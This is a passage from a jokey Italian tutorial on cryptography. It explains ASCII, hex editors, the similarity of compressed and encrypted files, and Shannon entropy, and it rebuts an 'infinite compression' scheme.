[¶]i:a…n;x(i) = exp([€]i:a…n;log(x(i))) | | | | | | ATTENZIONE: vorrei anche segnalare che d'ora in poi sarà utilizzato | | il termine "arduo" per intendere "computazionalmente insostenibile". | | | | Ma ora cominciamo, che questa volta vi divertirete, eheheh... | | | | | | | | | | +----------------------------------------------------------------------+ | | | STRUTTURA DEI DATI | | | | . . . . . . *--------------------------------------------------------+ | | |Capitolo 5 / ...c'era una volta un piccolo navigliooo... | | +-----------* | | | | Questo capitolo è, insieme a quello sulle conoscenze matematiche, molto | | importante, motivo per cui vedete di farvelo piacere >:) | | | | Allora cominciamo... dunque, perchè la struttura? :PPP | | | | Uffaaaa... Ma allora sei un fachirocefalo! | | | | Beh, se vogliamo studiare la crittografia dobbiamo crittare qualcosa, no?| | Ma se dobbiamo crittare qualcosa bisogna almeno avere QUALCOSA da | | crittare! | | Quel "qualcosa" che abbiamo intenzione di crittare è un MESSAGGIO. Il | | messaggio in sè per sè non ha nessun significato, è solo un | | "contenitore". Di che? Dell'INFORMAZIONE. L'informazione è ciò che | | rappresenta un significato che noi possiamo apprendere ed utilizzare | | (sono definizioni così alla cazzo eh, non prendetele per oro colato...), | | e come tale esiste solo nel nostro pensiero. Visto che non tutti al | | giorno d'oggi dispongono di telepatia :P è proprio a questo che serve | | il messaggio: a TRASPORTARE l'informazione da una mente all'altra. La | | crittazione è, a livello basilare, una TRASFORMAZIONE. Ma non avrebbe | | senso "trasformare" l'Informazione in sè per sè, poichè l'Informazione | | ha SEMPRE un significato (che può anche essere "assenza di significato | | comprensibile"). Invece con la crittografia si mira a trasformare il | | Messaggio, in modo che l'Informazione in esso contenuta non sia | | estrapolabile se non da chi ha le conoscenze per compiere la | | trasformazione al contrario. | | | | Un messaggio può assumere diverse forme: lingua parlata, scritta, | | immagini, suoni, etc... Abbiamo inoltre visto che la maggior parte di | | questi sistemi sono analogici, cioè soggetti a disturbi e difficoltà di | | trasporto. Il vantaggio del digitale è che, tramite l'uso di protocolli, | | è facilmente possibile convertire qualsiasi tipo di informazione in una | | sequenza di valori booleani. Ciò è basilare per la crittografia, poichè | | non è possibile operare una trasformazione su una funzione continua se | | da essa si intende estrapolare una quantità di informazione non infinita | | (1° Teorema di Zer0 :PPP). | | In pratica: per poter operare una conversione di qualsiasi tipo su un | | messaggio bisogna prima operare una sorta di QUANTIZZAZIONE degli | | elementi (pixel, caratteri, cicli d'onda sonora) che compongono il | | messaggio stesso, assegnando a ognuno un valore finito in modo da creare | | un'ORDINE. L'alfabeto fa proprio questo: ad ogni elemento (lettera) del | | codice "lingua scritta" assegna una posizione che rappresenta il VALORE | | dell'elemento, se così non fosse non sarebbe possibile operare una | | trasformazione quale quella del Cesareo ad esempio, poichè non si | | potrebbe sapere quale lettera viene prima e quale dopo. | | | | | | | | ============= | | *** ASCII *** | | ============= | | | | Dire che una sequenza di bit è una sequenza di 0 e 1 è fondamentalmente | | errato! Gli 0 e 1 sono una RAPPRESENTAZIONE data da noi umani | | all'Informazione contenuta in quella sequenza. Essi sono perciò il | | Messaggio. Fisicamente, una sequenza di bit in un computer non è altro | | che una sequenza di "microinterruttori" che possono essere aperti (non | | passa corrente, valore 0) o chiusi (passa corrente, valore 1). Nella | | pratica, la realizzazione di questi "microinterruttori" varia a seconda | | del supporto sul quale vengono memorizzati i bit: si può trattare di | | minuscole aree magnetizzate o meno sulla superficie di un disco (come | | nel caso di floppy e HD) oppure, più in generale, possono essere | | costruiti mediante circuiti bistabili di transistores (flip-flop, tipico | | caso delle RAM/ROM). | | Per motivi di architettura interna dei processori e di risparmio di | | risorse, abbiamo già detto che i computer lavorano principalmente su | | BYTES. Un byte sono 8 bit, quindi può assumere 2^8, cioè 256 valori | | diversi (da 0 a 255). Analogamente a come fa l'alfabeto, possiamo | | pensare di assegnare ad ognuno di questi valori un SIMBOLO, il quale | | porta in sè una piccola parte di Significato. Una sequenza complessa di | | tali simboli rappresenterà la nostra Informazione. | | Proprio come esistono diversi tipi di alfabeti (latino, cirillico, | | koreano, sardo...), esistono diversi tipi di codifiche binarie (ASCII, | | ANSI, Unicode etc...), ma la più utilizzata è sicuramente la ASCII | | (American Standard Code for Information Interchange), che assegna ad | | ogni valore un certo carattere. In generale, ecco la codifica ASCII | | (troverete una tabella dettagliata in appendice): | | | | - da 0 a 31: bytes di sistema, cioè identificatori di headers, | | inizio e fine riga, testo, file e altro | | | | - da 32 a 127: caratteri ASCII veri e propri, cioè lettere | | maiuscole e minuscole, numeri e punteggiatura. Sono anche detti | | "caratteri stampabili" | | | | - da 128 a 255: questi caratteri vengono impropriamente definiti | | ASCII, poichè la codifica ASCII vera e propria è a soli 7 bit. | | Visto che la codifica ASCII è un "formato di scambio" (serve | | cioè a far comunicare macchine che montano diversi sistemi | | operativi), normalmente questi caratteri vengono male | | interpretati da un sistema a un altro, quindi per inviare file | | che contengono questi caratteri (i cosiddetti "file binari") via | | mail ad esempio, bisogna utilizzare una codifica addizionale | | detta in gergo "armatura di trasporto" per assicurare l'integrità | | dei dati (vedremo il funzionamento degli algoritmi di armoring al | | cap. 8). Questo problema è presente anche nei bytes di sistema. | | | | | | [Files di Testo] | | | | Un file di testo (textfile) è ciò che state leggendo :P | | Scherzi a parte, un file aperto in modalità testo non fa altro che | | apparire agli occhi dell'utente così come è strutturato dall'interno, | | cioè byte per byte. Un text editor non fa altro che leggere il file un | | byte per volta e rappresentare ogni byte con un carattere ASCII. Ogni | | file, anche non di testo, può essere aperto in modalità testo poichè la | | struttura è identica (sono sempre bytes), quindi è possibile aprire con | | un text editor anche un file binario (un eseguibile ad esempio). Questo | | però dà alcuni problemi: i normali metodi di visualizzazione dei | | caratteri (tipo una finestra di DOS o una TextBox di win) sono stati | | pensati per rappresentare esclusivamente i caratteri dei file di testo. | | Con un byte io potrei rappresentare 256 diversi caratteri, ma nessun | | alfabeto ha così tante lettere! Quelle che servono per comporre normali | | messaggi sono principalmente le lettere maiuscole e minuscole, i numeri | | e la punteggiatura, che (guarda caso) si trovano esattamente nel range | | "stabile" dei caratteri ASCII, cioè dal valore 32 al 127. Ciò significa | | che non è "consigliabile" aprire in modalità testo un file che contenga | | anche altri caratteri, perchè alcuni potrebbero essere malinterpretati. | | Ad esempio: il carattere nullo (Null, valore 0) con questi mezzi viene | | rappresentato esattamente come uno spazio (valore 32), il backspace | | (valore 8) non solo spesso non viene rappresentato, ma a volte | | "cancella" il carattere precedente, il carattere "End of Text" (ETX, | | valore 3) qualche volta "blocca" la visualizzazione di TUTTI i caratteri | | successivi, perchè il text editor lo considera come se fosse un "Fine | | del messaggio visualizzabile", e così via... | | Questi problemi in sè per sè non danneggiano il file, ma possono farlo a | | causa della disattenzione dell'utente: mettiamo caso ad esempio che vi | | venga voglia di aprire un eseguibile con il Notepad. Spulciando tra i | | vari caratteri binari (non ci si capisce nulla ovviamente) trovate | | invece una stringa di caratteri "normali" e vi accorgete che è la | | stringa che dà il nome sulla finestra del programma. Allora dite: | | "Eheheh, ma tu guarda che polli i crackers che si fanno una mazza così | | coll'assembly e debuggers vari... mò ci penso io!". E voi galletti | | cambiate il nome del programma e salvate (avanti... alzi la mano chi non | | l'ha mai fatto :PPP). Ma poi, sorpresa, vi accorgete che non solo il | | programma non funzia più, ma le sue dimensioni sono calate | | mostruosamente! Perchè? Semplice, perchè i bytes di cui è composto il | | programma hanno fatto questo giro: | | | | BYTES DEL lettura FINESTRA DEL salvataggio BYTES DEL | | PROGRAMMA --------------> TEXT EDITOR -----------------> NUOVO | | ORIGINALE PROGRAMMA | | | | Ma voi non avete tenuto conto che nel frattempo si è verificata la | | seguente cosa: | | | | BYTES DEL lettura FINESTRA DEL BYTES DEL | | PROGRAMMA --------------> TEXT EDITOR -----------------> NUOVO | | ORIGINALE ^ (errata) salvataggio PROGRAMMA | | /|\ (solo dei caratteri | | | stabili) | | MALINTERPRETAZIONE | | | | Quindi voi avete salvato non i bytes del programma originale, ma quelli | | visualizzati, che come abbiamo detto erano probabilmente GIA' sballati. | | In fase di salvataggio poi, il text editor ha salvato solo quei bytes | | che per qualche combinazione ha riconosciuto come "stabili", magari ha | | salvato solo quelli che ha incontrato prima del primo carattere ETX o | | EOF (che statisticamente saranno tra i primi 256, ma la stima è | | approssimativa considerando anche il fatto che negli .exe ci sono degli | | headers). Il casino invece non avviene se fate una cosa di questo tipo: | | | | BYTES DEL copia diretta BYTES DEL | | PROGRAMMA -----------------> NUOVO | | ORIGINALE PROGRAMMA | | | | Che è ciò che avviene quando fate un "-> copy nomefile1 nomefile2". | | Stesso discorso se aprite col text editor un file binario, ne | | selezionate una parte, la copiate e provate a incollarla in un'altra | | finestra del text editor. Avviene una cosa analoga: | | | | BYTES DEL lettura FINESTRA DEL incolla FINESTRA DEL | | | | PROGRAMMA ---------> TEXT EDITOR ------> MEMORIA --------> TEXT EDITOR | | ORIGINALE ^ (errata) copia | | /|\ (solo dei | | | caratteri | | MALINTERPRETAZIONE stabili) | | | | Il problema insomma sta tutto nella malinterpretazione dei caratteri, | | che però non può essere risolta se continuiamo a visualizzare in ASCII i | | bytes binari. Per ovviare a ciò esistono gli HEX EDITORS, ovvero | | programmi che si comportano esattamente come i text editors, con una | | differenza: invece che visualizzare i bytes in caratteri ASCII li | | visualizzano in ESADECIMALE. Cioè: invece di leggere un byte per volta, | | leggono un NIBBLE per volta; un nibble può assumere 2^4, cioè 16 valori, | | quindi basteranno solo 16 diversi caratteri per rappresentarli tutti | | (che sceglieremo tra quelli del range "stabile" dell'ASCII), e cioè: | | | | 00 = 0 04 = 4 08 = 8 12 = C | | 01 = 1 05 = 5 09 = 9 13 = D | | 02 = 2 06 = 6 10 = A 14 = E | | 03 = 3 07 = 7 11 = B 15 = F | | | | in pratica non facciamo altro che rappresentare i valori ASCII in base | | 16, questo significa che per ogni byte dovremo usare DUE caratteri | | esadecimali, uno per il nibble high-end ed uno per quello low-end, ad | | esempio: | | | | 178 = 10110010 = 1011 & 0010 = 11 (x 16^1) + 2 (x 16^0) = hB2 | | 13 = 00001101 = 0000 & 1101 = 0 (x 16) + 13 (x 1) = h0D | | | | NOTA: col simbolo & indico la CONCATENAZIONE, cioè la scrittura contigua | | (70 & 504 = 70504), le lettere dell'esadecimale sono NORMALMENTE scritte | | in maiuscolo (ma è quasi sempre indifferente) e davanti alle cifre in | | esadecimale NORMALMENTE ci si mette un'acca (maiuscola o minuscola) o | | anche un "0x" per intendere "Hexadecimal" (o, semplicemente, "Hex"). | | Questo sistema, cioè esadecimale, permetterebbe anche in teoria di | | risolvere il problema della malinterpretazione dei caratteri non-ASCII | | trasmessi via internet di cui si accennava prima poichè i caratteri | | usati sono tutti "stabili", lo svantaggio è che le dimensioni dei dati | | RADDOPPIANO (e nella Rete questo, come sappiamo, rappresenta un grosso | | ostacolo...), è per ovviare a questo che servono gli algoritmi di | | armoring, ma li vedremo in seguito. | | | | | | | | ================================== | | *** COMPRESSIONE E CRITTAZIONE *** | | ================================== | | | | Facciamo un esperimento. | | | | Pigliate un text editor e aprite in modalità testo tre diversi tipi di | | file: un file di testo (beh, questo l'avete già fatto :PPP), un file | | COMPRESSO (tipo un archivio .zip o .gz) ed un file crittato (per fare | | questo vi serve un qualche programma tipo PGP), e analizziamone uno alla | | volta. | | | | mò che c'entra il file compresso? | | | | Fidati ;) | | Per il file di testo c'è poco da dire, è comprensibilissimo. E inoltre | | ha una particolarità: alcuni caratteri SI RIPETONO PIU' FREQUENTEMENTE, | | questo a causa della già citata frequenza statistica del linguaggio. | | | | Poi il file compresso. Qui invece troviamo subito delle difficoltà. Ci | | accorgiamo innanzitutto che è un file binario, questo perchè è evidente | | il problema dell'ETX/EOF, cioè aprendo un archivio .zip di qualche KB | | col Notepad appaiono solo i primi bytes, + o - così: | | | | PK | |  | | | | Per bypassare il problema: o usiamo un hex editor o, molto + | | velocemente, lo apriamo con qualcosa di più professionale del Notepad, | | tipo lo Wordpad o, meglio ancora, l'edit del DOS (che non sono | | suscettibili al problema dell'ETX): | | | | PK | |  2«n+ | | B°I¥6õòþÁÉýw±¨šê.úøü_‹°ÛUuø“Ûx·Õ‹¾iC³«œ | | ÷1Êóªæ{W­Ëè–6ͽïä®øw·½—i4Î]]] | | ‡ÝûÛÛ‡1FÇ—G¡ÜÕ~8÷öèÞG·ŽßÉpr›+ý‘<Ë»/å·eUtgpUÈ£Ê §Yù1¬Æ®ñu¸½ | | n—Þmºˆ¸kËe”oœLÑ×Åwnûã,ë(ÏZ×^¦à¾•Å5Õ | | | | etc... | | Se facciamo un po' di prove notiamo che sono presenti all'inizio degli | | headers con versione del programma, percorsi dei file e delle cartelle | | contenute nell'archivio etc... Ma concentriamo la nostra attenzione sul | | corpo principale del messaggio: è un bordello! Cioè, non solo non ci si | | capisce niente, ma tra l'altro più o meno tutti i 256 caratteri appaiono | | con la stessa frequenza (memorizzare pls...). | | Ed ora il file crittato. Attenzione: potreste ottenere anche qualcosa di | | | | questo tipo: | | | | pTc6/KcGahcic9B9i/YlB+Lz+76kTzapnLm47b3nJJWJvOZSKzhe+2FaVXx1jAKM | | cUQg9lQdjrmz0EYzbFPGp/vcRRv9plyvyM+4KvFbz9IvRoSQQ47Weop1T0OKbPNB | | 10GXxVy/mtuY1kr7tzGqPfJkvPKZkXIQkzaG3fDu9RpzrGzHHLV1LIq/LmXQiQUr | | D6v9zHNWaG3/ddI8FMfztB3SnZKnKdytWCq2Xu84rrHgXNNJzf/FwmwItJ2bIPTH | | pPLQuf2rshZr4Dtfdq6ELdF1LDWQ8Nb02iIiFBl/03A2r3ZfPdnVmVCaTRB0evfy | | sL/taiqsF10/KXdDYTJ6bYmvrZxjpW7xVK4zGULBp5e8Pz+nkNxmWzjrZhDgOHkN | | BenD0Xhsf/dO1Rfmot1+RCPtauktdWodawQoSkoUSF6g/WaxXtnunMDILFXJKXR3 | | 91A4B+RulFiuJ2rc1dtJWhepPq12K/qyUeYjWm0= | | =UnRP | | | | etc... | | In questo caso significa che il file è protetto da armatura di | | trasporto, nella fattispecie l'algoritmo è l'Armor Radix 64, che | | codifica secondo lo standard Base64 usato anche dal PGP. I file crittati | | che abbiamo bisogno di analizzare ora, per i nostri scopi non devono | | essere armorati, quindi se avete ottenuto qualcosa di simile non va | | bene: crittatelo senza armatura di trasporto. Ed ora analizziamo. | | Innanzitutto c'è il problema dell'ETX, ne deduciamo che è un file | | binario (logico. Sennò che ce la mettevano a fare l'armatura?). Allora | | facciamo come per i file compressi e salterà fuori qualcosa del tipo: | | | | ÍÎsÇ»Z5óž: | | îHK&ÿô}Ü!š¤ | | ÓÎÈŠÊÔAÞg’’…¼ʨÒ@jì‘ÁÙz¹é»vR#§J¤ÊÆß°_ïzxÑ"¾…² | | /‡!rüê | | êK°Ûůlâ\Ó¸j&þÍ^@i¼{KŠI%‹9<˜jgÑÜ»%€Á>6#´¶Ú7šØ+Òèá'>ZråóN˜ | | ¥÷†?g•´ãfpŠæµÀßÒa | | æé&t’ÕP`u | | 3€£ã«}*-SPd*‰“f | | ©3IÓ¨¼TÛö’ûV8Fƒ’ã‘¡£Ò8ïÝx_Zº.E”êUº#EæuE | | | | etc... | | Ora, a parte il fatto che potrebbero esserci degli headers, ci | | accorgiamo che il corpo principale del messaggio è molto simile a quello | | di un file compresso, e cioè uncisicapisceunasega e tutti i caratteri | | hanno + o - la stessa frequenza, e badate che ciò non è affatto scontato | | poichè in un file binario qualsiasi, un .exe ad esempio, ci sono | | caratteri che si ripetono con frequenze diversissime. | | | | Quindi verrebbe da pensare che messaggi crittati e compressi | | abbiano qualcosa in comune, mumble mumble... | | | | E adesso facciamo un altro esperimento. Pigliate un programma di | | compressione tipo Winzip e proviamo a comprimere i files di prima. Per | | il file di testo no problem, si comprime niente male. Per provare a | | comprimere un file già compresso dovete cambiargli estensione, ma come è | | logico aspettarsi non riuscirete a comprimerlo di una virgola, anzi | | noterete un aumento di dimensioni a causa dell'aggiunta degli headers. | | Ed ora provate a comprimere un file crittato (non armorato). Magia! Il | | file NON si comprime, esattamente come se fosse un file già compresso. | | | | Ma guarda, abbiamo trovato un'altra cosa in comune tra i due | | tipi di file, ri-mumble ri-mumble... | | | | Però attenzione: potreste notare nell'operazione di crittazione una | | DIMINUZIONE delle dimensioni del file. La cosa dipende dal fatto che | | programmi tipo il PGP operano, prima della crittazione vera e propria e | | senza che nessuno gli dica niente, una compressione del messaggio in | | automatico. | | | | grandissimo salame, e allora certo che non si comprime! | | | | Beh, non è proprio vero. Innanzitutto non è una cosa così scontata, | | dopotutto se qualcosa non si riesce a comprimere è perchè il programma | | di compressione lo riconosce come già compresso, no? Ma se questo | | qualcosa è crittato sarà molto diverso dall'originale, quindi potrebbe | | non essere assurdo pensare ad una specie di "compressione infinita", in | | cui ogni volta che si comprime un messaggio questo viene poi crittato, | | la chiave (presumibilmente pochi bytes) viene concatenata al messaggio e | | il tutto viene ricompresso ancora. Insomma: il messaggio prima compresso | | e poi crittato non è, o almeno non dovrebbe essere se l'algoritmo è | | sicuro, riconoscibile come compresso, quindi dovrebbe poter essere | | ricompresso! | | | | Le considerazioni appena fatte sono del tutto errate, e derivano dal | | fatto che non conosciamo ancora le basi teoriche sulle quali lavorano | | sia la compressione che la crittazione. | | | | Ma il problema sta più a monte. | | | | Per accorgercene dobbiamo fare in modo che il programma che usiamo per | | crittare "salti" la fase di compressione, per il PGP che ho io non è | | così facile perchè non ce n'è l'opzione, quindi o ci procuriamo un altro | | programma oppure ce lo facciamo, anche semplice, da noi. Verificheremo | | subito un principio fondamentale della crittologia: | | | | NORMALMENTE TUTTI GLI ALGORITMI DOUBLE-WAY A CHIAVE SIMMETRICA LASCIANO | | INALTERATE LE DIMENSIONI DEL MESSAGGIO | | | | Double-way significa che conoscendo alcune informazioni (tipo la chiave | | :P) è possibile risalire dal cyphertext al testo in chiaro (questo non | | accade negli algoritmi One-way, un po' come quando dicevamo che AND e OR | | non sono invertibili). E quindi, salvo la presenza di headers, se | | saltate la fase di precompressione dovreste ottenere un cyphertext di | | dimensioni uguali al plaintext. Ma adesso provate a comprimere questo | | testo crittato e vedrete che, pur non essendo stato preventivamente | | compresso, esso non si packerà di un solo bit! E' proprio per questo che | | programmi tipo il PGP effettuano sempre la precompressione di tutti i | | messaggi: è perchè | | | | NORMALMENTE NESSUN CYPHERTEXT E' COMPRIMIBILE | | | | ma pork... E perchè??!!! | | | | | | =================================== | | *** LA TEORIA DELL'INFORMAZIONE *** | | =================================== | | con il contributo dell'Enciclopedia Kazzuta ******** :))) | | | | La Teoria dell'Informazione è lo studio matematico del trasferimento | | delle informazioni. Per quanto già H. Nyquist (1924) e R. V. L. Hartley | | (1928) avessero già messo in luce alcuni problemi fondamentali relativi | | al trasferimento delle informazioni, le possibilità teoriche rimasero a | | lungo limitate per la mancanza di un criterio per la misura | | dell'informazione. Si deve a C. Shannon (1948) la formulazione di un | | metodo per quantificare l'informazione trasmessa coi messaggi. | | | | | | [Informazione ed Entropia] | | | | Secondo Shannon, ogni messaggio (o simbolo) ha un contenuto informativo | | poichè è scelto tra un insieme di diversi messaggi possibili. Se tutti | | questi messaggi hanno la medesima possibilità di essere scelti, allora | | il loro numero può essere considerato come una misura dell'informazione | | insita nella SCELTA del messaggio tra quelli disponibili: più è ampia la | | scelta, maggiore è l'informazione "convogliata" mediante la selezione di | | uno degli elementi dell'insieme. La funzione adottata da Shannon è | | quella logaritmica in base 2: se N è il numero di messaggi possibili, | | log(N) in base 2 è quindi esprimibile in unità binarie, cioè bit! | | Ad esempio, un carattere ASCII può assumere 256 valori. Se le varie | | probabilità che il byte assuma un certo valore invece di un altro si | | equivalgono (non siamo cioè CONDIZIONATI nella scelta), l'informazione | | contenuta sarà log(256) = 8 BIT PER CARATTERE. | | | | Nel caso invece che le varie possibilità non siano equiprobabili, | | bisogna innanzitutto calcolare la possibilità di ogni elemento di essere | | scelto. Nel caso di un messaggio costituito da diversi caratteri questo | | equivale a calcolare la FREQUENZA RELATIVA di quel carattere, cioè il | | rapporto: | | | | f = n / N | | | | dove N è il numero totale di elementi (caratteri) di cui il messaggio è | | costituito e n è il numero di volte che quel carattere compare. | | Indicando con i l'indice dell'elemento (nel nostro caso questo equivale | | al valore ASCII da 0 a 255) dovremo calcolare: | | | | f(i) = n(i) / N | | | | per tutti gli elementi. Queste frequenze saranno tutte inferiori a 1, | | cioè al 100% (a meno che il messaggio non sia costituito da un solo tipo | | di carattere), ma sarà sempre: | | | | [€]i:1…n;f(i) = 1 (cioè 100%) | | | | A questo punto la misura dell'informazione contenuta nel messaggio, | | indicata con H sarà secondo la funzione di Shannon: | | | | H = - [€]i:1…n;(f(i) * log(f(i))) | | | | con logaritmo in base 2. Tale funzione è stata chiamata da Shannon | | ENTROPIA dell'insieme di probabilità f(i), e infatti la sua forma | | matematica è proprio quella dell'omonima grandezza termodinamica. Il | | segno meno davanti al simbolo di sommatoria serve a far assumere a | | questa grandezza un valore positivo, poichè una frequenza è, come | | abbiamo detto, sempre minore o al massimo uguale a 1, perciò il suo | | logaritmo sarà negativo, ricordate verooo? E se la frequenza di un | | carattere è 0? Beh semplice, significa che esso non appare, e quindi non | | fa parte dell'insieme di simboli possibili, quindi sarà semplicemente | | "saltato" anche perchè il logaritmo di 0 dà meno infinito! | | La formula di prima nel caso di un messaggio composto da bytes (tipo un | | file) diventa: | | | | H = - [€]i:0…255;(f(i) * log(f(i))) | | | | Il valore assoluto dell'entropia ottenuto va messo sempre in relazione | | coll'ordine di grandezza del numero di messaggi possibili: si definisce | | ENTROPIA RELATIVA il rapporto (che va da 0 a 1) tra l'Entropia di un | | messaggio e l'Entropia che il messaggio avrebbe nel caso di | | equiprobabilità degli elementi (ENTROPIA MASSIMA). | | Ad esempio, se noi calcoliamo l'entropia di un file e troviamo H = 4,8 | | diremo che il file ha una media di 4,8 bits d'entropia per carattere (8 | | bit), quindi l'entropia relativa sarà 0.6, cioè il 60%. Questa frazione | | rappresenta l'informazione contenuta nel messaggio, cioè quella parte | | che non può essere eliminata o "semplificata". | | | | E il resto? | | | | Il resto è ciò che viene definito RIDONDANZA del messaggio. La relazione | | di interdipendenza tra i simboli (ad esempio, in italiano dopo una "q" | | viene quasi sempre una "u") e le norme strutturali che regolano il | | messaggio sono responsabili di una diminuzione della capacità | | informativa di ciascun simbolo. La ridondanza rappresenta quella | | frazione della struttura del messaggio che non è possibile scegliere | | liberamente (e quindi non costituisce informazione), ma che rimane | | dettata dalle regole statistiche (strutturali) che vigono nell'insieme e | | che governano gli accostamenti dei simboli. Tale frazione, | | statisticamente parlando, non risulta necessaria per la composizione del | | messaggio, il quale sarebbe perciò riconoscibile o ricomponibile anche | | in assenza di essa. Nel linguaggio naturale la ridondanza è pari al 50% | | c.ca, e permette quindi la comprensione di una frase nonostante | | eventuali errori di ortografia. E' proprio su questo principio che | | lavorano i sistemi di compressione dati: eliminano le ridondanze. | | | | mò comincio a capire dove vuoi arrivare... | | | | Esatto! Gli algoritmi di compressione dati (quali la codifica di | | Huffmann e il JPEG, ma non c'è spazio qui per parlare di queste cose, se | | vi interessano fatemi sapere e approfondiremo...) ABBASSANO la | | dimensione dei file perchè eliminano tutti i bit "inutili", quindi: | | | | MAGGIORE E' LA RIDONDANZA DI UN MESSAGGIO E MAGGIORE SARA' LA | | COMPRESSIONE OTTENUTA | | | | il che è equivalente a dire: | | | | MAGGIORE E' L'ENTROPIA DI UN MESSAGGIO E MENO SARA' COMPRIMIBILE | | | | Se io prendo un file di testo (lingua scritta, entropia 50% c.ca abbiamo | | detto) e lo comprimo, effettivamente ottengo in media una compressione | | del 50%, ma ottengo un file in cui tutte le ridondanze sono state | | eliminate per diminuirne le dimensioni, quindi L'ENTROPIA DI UN FILE | | COMPRESSO E' ALTISSIMA! Ciò significa che se provo nuovamente a | | comprimerlo, il caro Winzippo non troverà più ridondanze da eliminare e | | quindi non potrà comprimerlo ulteriormente. | | | | E finalmente abbiamo capito a fondo il perchè non si può comprimere un | | file già compresso :))) | | | | Adesso resta da capire perchè non si riesce a comprimere i file | | crittati. | | La risposta è abbastanza intuitiva se avete ben chiaro il concetto di | | Entropia (vedi cap.4). Il procedimento di crittazione deve fare in modo | | che la trama comprensibile e ordinata di un messaggio venga "mascherata" | | dietro una trama molto più complessa. La complessità della nuova trama è | | così al di fuori della nostra portata che non riusciamo a vederne il | | significato, non la comprendiamo: questo ai nostri occhi appare cioè | | come CAOS! Ciò è anche una prova indiretta di quanto dicevamo a | | proposito del caos: che non esiste nel mondo materiale. Ovvero: un | | cyphertext per noi è caos solo fino a che non troviamo la chiave per | | decriptarlo. Possiamo quindi dire: | | | | UNA CRITTAZIONE PORTA UN MESSAGGIO VERSO STATI DI STRUTTURA PIU' CAOTICI | | | | mi ricorda qualcosa... | | | | Già, assomiglia a questo: | | | | OGNI TRASFORMAZIONE NATURALE PORTA UN SISTEMA VERSO STATI DI ESISTENZA | | PIU' CAOTICI | | | | E questo, abbiamo detto, GENERA ENTROPIA! Infatti gli algoritmi di | | crittografia efficaci rendono qualsiasi messaggio, indipendentemente dal | | suo stato iniziale di ordine, estremamente disordinato. Questo significa | | che sia una struttura ordinata (come un textfile) che una disordinata | | (come un file binario di randseed), sottoposti ad una crittazione | | simmetrica double-way divengono entrambi file ad alta entropia MA DELLE | | STESSE DIMENSIONI DI PRIMA (lo avevamo detto prima, ricordate verooo?). | | Il bello della crittografia però è che si lavora con entità ideali, | | quindi non c'è sviluppo di entropia per attriti e trasferimenti di | | calore come avviene in natura, ciò significa che è possibile (salvo | | algoritmi particolari) riportare un sistema nelle sue condizioni di | | ordine iniziale. Questo ci porta ad alcune considerazioni mooolto | | interessanti: | | | | 1 - UN PROCESSO DI COMPRESSIONE E' ACCOMPAGNATO SEMPRE DA UN AUMENTO DI | | ENTROPIA | | Entropia intesa non come entità assoluta (poichè abbiamo visto che | | essa non esiste in questo senso), bensì come aumento della | | difficoltà umana a compredere la struttura del messaggio. E' ovvio | | che se l'entropia ha raggiunto un valore di massimo, il messaggio | | non sarà ulteriormente comprimibile con le tecniche umane. | | | | 2 - IN UN PROCESSO DI CRITTAZIONE NON AVVIENE IL VICEVERSA | | Ovvero: un processo di crittazione simmetrica double-way ha lo scopo | | | | di generare un aumento di entropia nel messaggio lasciandone | | inalterate le dimensioni. E' per questo che i cyphertext non sono | | comprimibili, e quindi conviene sempre comprimere i messaggi PRIMA | | di crittarli. | | | | 3 - LO SCARSO AUMENTO DI ENTROPIA IN UN PROCESSO DI CRITTAZIONE E' | | INDICE DELLA SCARSA SICUREZZA DELL'ALGORITMO | | Un algoritmo sicuro dovrebbe produrre output sempre con entropia del | | | | 100% indipendentemente dalla chiave scelta (eccetto la presenza di | | chiavi deboli o semi-deboli che devono però essere poche e | | facilmente riconoscibili). Il Cesareo ad esempio lascia inalterata | | l'entropia dei messaggi poichè le frequenze relative restano uguali. | | | | La prima cosa da fare nel verificare la sicurezza di un | | crittosistema è l'assicurarsi che gli output crittati dell'algoritmo | | | | abbiano un'entropia che deve discostarsi di pochissimo dal 100%. | | | | 4 - UN PROCESSO DI DECRITTAZIONE NORMALMENTE ABBASSA L'ENTROPIA DEL | | MESSAGGIO LASCIANDONE INALTERATE LE DIMENSIONI | | "Normalmente" perchè nella quasi totalità dei casi il plaintext (a | | meno che non sia già per sè ad entropia immonda) ha sempre più | | ridondanze del suo cyphertext. | | | | a questo punto però comincia a frullarmi in testa una certa | | idea... | | | | | | | | [ Il progetto Godzip: tutto il mondo in un floppy disk ] | | | | Ma allora non si potrebbe utilizzare un processo inverso per creare una | | "compressione a cascata" dell'informazione? Ovvero: | | | | 1) prendi un file | | 2) lo comprimi | | 3) lo critti (o lo decritti) in maniera tale da | | diminuirne l'entropia lasciandone inalterate | | le dimensioni | | 4) concateni al messaggio la chiave usata, in modo | | che si possa poi (in fase di decompressione) | | effettuare il procedimento al contrario | | 5) ripeti dal punto 2 finchè non ottieni un file | | da una manciata di bytes!!! | | | | L'idea deriva dal fatto che un processo di decrittazione è | | funzionalmente uguale a quello di crittazione: è sempre una | | trasformazione. Quindi il fatto che in uscita dalla crittazione abbiamo | | un'entropia molto alta deriva soltanto da considerazioni statistiche | | (ricordate il mazzo di carte?), poichè le possibilità di ottenere un | | output disordinato sono più alte di quelle di ottenerne uno ordinato. | | TEORICAMENTE è quindi possibile trovare una chiave che, usata per | | crittare o decrittare un dato messaggio ad alta entropia, produca un | | output - delle stesse dimensioni - ma ad entropia minore! Questa | | eventualità è tanto più probabile quanto più alta è l'entropia del | | messaggio in input, per questo è logico dare in input un messaggio | | compresso. Un procedimento del genere permetterebbe veramente di | | skiaffare il contenuto di tutti gli HD del mondo in un solo floppy, pena | | poi che ci vorrà qualche buon giorno per scompattare il tutto. Ma | | pensate che pacchia file .mp3 da 2 KB... | | | | KE FIGATA!!! | | | | La cosa, naturalmente, è del tutto utopistica. | | | | nooooo :( | | | | Questo principalmente per la definizione stessa di entropia. Abbiamo | | detto che una crittazione-decrittazione è un processo ideale, quindi la | | variazione di entropia è zero. Questo non è del tutto esatto poichè le | | regole del caos regnano sovrane nel nostro mondo :))) ed ecco perchè: | | la variazione di entropia del messaggio è effettivamente zero, ma | | ricordiamoci che il sistema "messaggio" non è isolato dal sistema | | "universo", e nell'universo ci siamo noi che COMPIAMO UN LAVORO nello | | svolgere l'operazione di encrypt-decrypt! Cioè: lo sforzo fatto da noi o | | da un computer nel progettare ed effettuare il procedimento GENERA | | ENTROPIA, entropia che si esprime anche nello sforzo di calcolo di un | | ipotetico elaboratore che cerchi di rompere un cifrario. Il processo di | | compressione a cascata da noi ipotizzato presuppone infatti che si | | riesca ad usare un algoritmo di crittazione proprio nel modo OPPOSTO a | | quello per cui esso è stato progettato, il che equivale a CRACKARE | | L'ALGORITMO: trovare una 